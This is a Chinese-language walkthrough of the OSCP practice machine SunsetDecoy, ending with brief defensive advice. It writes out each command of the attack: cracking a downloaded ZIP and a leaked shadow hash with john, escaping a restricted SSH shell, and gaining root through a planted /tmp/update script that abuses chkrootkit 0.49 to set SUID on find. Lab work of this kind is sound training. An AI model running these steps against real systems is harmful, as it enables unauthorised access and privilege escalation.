OSCP系列靶场-Esay-SunsetDecoy
字数 1369 2025-08-10 13:48:29
OSCP靶场渗透实战:SunsetDecoy靶机完整渗透指南
靶机概述
SunsetDecoy是一个难度为"Easy"的OSCP练习靶机,主要考察以下技术点:
- 文件发现与密码破解
- SSH受限环境逃逸
- 进程监控与权限提升
- chkrootkit漏洞利用
环境准备
网络配置
- 攻击机IP: 192.168.45.194
- 靶机IP: 192.168.190.85
- 确保VPN连接正常
工具准备
- nmap
- john the ripper
- hydra
- pspy64 (进程监控工具)
- wget/curl
信息收集阶段
端口扫描
sudo nmap --min-rate 10000 -p- 192.168.190.85
结果:
- 22/tcp - SSH (OpenSSH 7.9p1 Debian 10+deb10u2)
- 80/tcp - HTTP (Apache httpd 2.4.38)
服务探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.190.85
漏洞利用阶段
Web服务渗透
- 访问HTTP服务发现ZIP文件
wget http://192.168.190.85/save.zip
- ZIP密码破解
zip2john save.zip > password.hash
john --wordlist=/usr/share/wordlists/rockyou.txt password.hash
破解得到密码:manuel
- 解压ZIP文件
unzip save.zip
包含文件:
- /etc/passwd
- /etc/shadow
- /etc/group
- /etc/sudoers
- /etc/hosts
- /etc/hostname
用户密码破解
- 从passwd文件中提取用户名
cat etc/passwd
发现用户:296640a3b825115a47b68fc44501c828
- 从shadow文件中提取哈希
cat etc/shadow
提取用户哈希:
296640a3b825115a47b68fc44501c828:$6$x4sSRFte6R6BymAn$zrIOVUCwzMlq54EjDjFJ2kfmuN7x2BjKPdir2Fuc9XRRJEk9FNdPliX4Nr92aWzAtykKih5PX39OKCvJZV0us.:18450:0:99999:7:::
- 使用john破解密码
echo '296640a3b825115a47b68fc44501c828:$6$x4sSRFte6R6BymAn$zrIOVUCwzMlq54EjDjFJ2kfmuN7x2BjKPdir2Fuc9XRRJEk9FNdPliX4Nr92aWzAtykKih5PX39OKCvJZV0us.:18450:0:99999:7:::' > passwd.txt
john --wordlist=/usr/share/wordlists/rockyou.txt passwd.txt
破解得到密码:server
SSH登录与受限环境逃逸
- SSH登录
ssh 296640a3b825115a47b68fc44501c828@192.168.190.85
密码:server
- 受限环境逃逸
ssh 296640a3b825115a47b68fc44501c828@192.168.190.85 -p22 -t "bash --noprofile"
重置PATH环境变量:
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
- 获取第一个flag
find / -name local.txt 2>/dev/null
cat /home/296640a3b825115a47b68fc44501c828/local.txt
Flag1: f750ece6f4ea704c2902f5f7f6c10d2d
权限提升阶段
系统信息收集
- 系统版本
lsb_release -a
输出:
Distributor ID: Debian
Description: Debian GNU/Linux 10 (buster)
Release: 10
Codename: buster
- 内核版本
uname -a
输出:
Linux 60832e9f188106ec5bcc4eb7709ce592 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 GNU/Linux
- 用户权限
id
输出:
uid=1000(296640a3b825115a47b68fc44501c828) gid=1000(296640a3b825115a47b68fc44501c828) groups=1000(296640a3b825115a47b68fc44501c828)
- SUID文件检查
find / -perm -u=s -type f 2>/dev/null
- 进程监控(使用pspy64)
# 在攻击机启动HTTP服务
sudo python3 -m http.server 80
# 在靶机下载pspy64
wget http://192.168.45.194:80/pspy64
chmod +x pspy64
./pspy64
发现关键进程:
/bin/sh /root/chkrootkit-0.49/chkrootkit
chkrootkit提权
- 搜索chkrootkit漏洞
searchsploit chkrootkit
发现0.49版本存在漏洞
- 创建恶意update文件
cd /tmp
echo '#!/bin/sh
chmod +s /usr/bin/find' > update
chmod +x update
- 等待chkrootkit执行后,使用find提权
ls -al /usr/bin/find # 检查是否已设置SUID
find . -exec /bin/bash -p \; -quit
- 验证root权限
id
输出:
uid=1000(296640a3b825115a47b68fc44501c828) gid=1000(296640a3b825115a47b68fc44501c828) euid=0(root) egid=0(root) groups=0(root),1000(296640a3b825115a47b68fc44501c828)
- 获取root flag
cat /root/proof.txt
Flag2: 462b67a92407c2b0d746f9298fbfa2f6
总结与关键点
-
文件发现与密码破解:
- 发现web服务上的ZIP文件
- 使用zip2john和john破解ZIP密码
- 从解压文件中获取shadow文件并破解用户密码
-
SSH受限环境逃逸:
- 使用
-t "bash --noprofile"参数绕过受限shell - 重置PATH环境变量恢复命令访问
- 使用
-
进程监控技巧:
- 使用pspy64监控root执行的进程
- 发现chkrootkit定期执行
-
chkrootkit漏洞利用:
- 0.49版本会在/tmp下执行update文件
- 通过恶意update文件设置find的SUID位
- 利用find的SUID权限获取root shell
-
关键命令总结:
- 密码破解:
zip2john+john - 哈希破解:
john+ rockyou.txt - 进程监控:
pspy64 - 权限提升:利用chkrootkit漏洞设置SUID
- 密码破解:
-
防御建议:
- 及时更新安全工具(chkrootkit)
- 避免在/tmp目录执行任意脚本
- 严格控制SUID权限
- 使用强密码并定期更换